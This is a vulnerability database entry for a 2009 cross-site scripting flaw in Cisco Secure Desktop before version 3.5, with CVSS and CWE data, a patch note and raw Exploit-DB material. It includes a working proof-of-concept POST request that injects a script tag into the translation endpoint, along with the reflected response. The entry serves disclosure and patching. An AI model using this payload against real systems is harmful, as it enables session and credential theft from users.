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Cisco Secure Desktop
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Unknown
7.5
CVSS
HIGH
Cross-site scripting
79
CWE
Product Name: Cisco Secure Desktop
Affected Version From: Prior to Cisco Secure Desktop 3.5
Affected Version To:
Patch Exists: YES
Related CWE:
CPE: a:cisco:secure_desktop
Metasploit:
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Platforms Tested:
2009

Cross-site scripting vulnerability in Cisco Secure Desktop

The Cisco Secure Desktop application is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker can leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

Update to Cisco Secure Desktop 3.5 or later version.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/37960/info

Cisco Secure Desktop is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Cisco Secure Desktop 3.5 are vulnerable. 

REQUEST:
POST https://www.example.com/+CSCOT+/translation?textdomain=csd&prefix=trans&lang=en-us HTTP/1.1 
Host: www.example.com 
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0 (.NET CLR 3.5.30729) 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 
Keep-Alive: 300 
Connection: keep-alive 
Referer: https://www.example.com/CACHE/sdesktop/install/start.htm 
Content-Type: application/xml; charset=UTF-8 
Cookie: webvpnLang=en-us; webvpnlogin=1
Pragma: no-cache 
Cache-Control: no-cache 
Content-Length: 56

Starting, please wait..."><script>alert(1);</script>

RESPONSE:
HTTP/1.1 200 OK 
Server: Cisco AWARE 2.0 
Content-Type: text/html; charset=UTF-8 
Cache-Control: no-cache 
Pragma: no-cache 
Connection: Keep-Alive 
Date: Mon, 16 Nov 2009 14:14:07 GMT
Content-Length: 122

trans["Starting, please wait...\"><script>alert(1);</script>"] = "Starting, please wait...\"><script>alert(1);</script>";